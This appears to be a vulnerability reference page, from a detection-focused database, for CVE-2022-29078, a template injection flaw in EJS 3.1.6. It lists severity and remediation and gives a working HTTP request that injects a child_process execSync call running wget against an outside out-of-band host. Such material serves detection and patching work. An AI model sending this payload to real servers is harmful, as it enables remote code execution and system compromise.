🔙 목록으로 돌아가기

CVE-2022-29078: Node.js Embedded JavaScript 3.1.6 - Template Injection

TitleNode.js Embedded JavaScript 3.1.6 - Template Injection
AuthorFor3stCo1d
SeverityCritical
ImpactRemote code execution can lead to unauthorized access, data leakage, and complete system compromise.
RemediationUpgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.93462
CVE IDCVE-2022-29078
CWE IDCWE-94
Tags cve cve2022 ssti rce ejs nodejs oast intrusive node.js vkev vuln

🔍 Vulnerability Description

Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.

🌐 HTTP Request

GET /page?id=38F92mNlyi7ZRhUdOY0batW7wHJ&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://d5jmdthle0o4ql3mmv40qq68kcnkhccoi.oast.fun%27);s HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29078.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29078.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A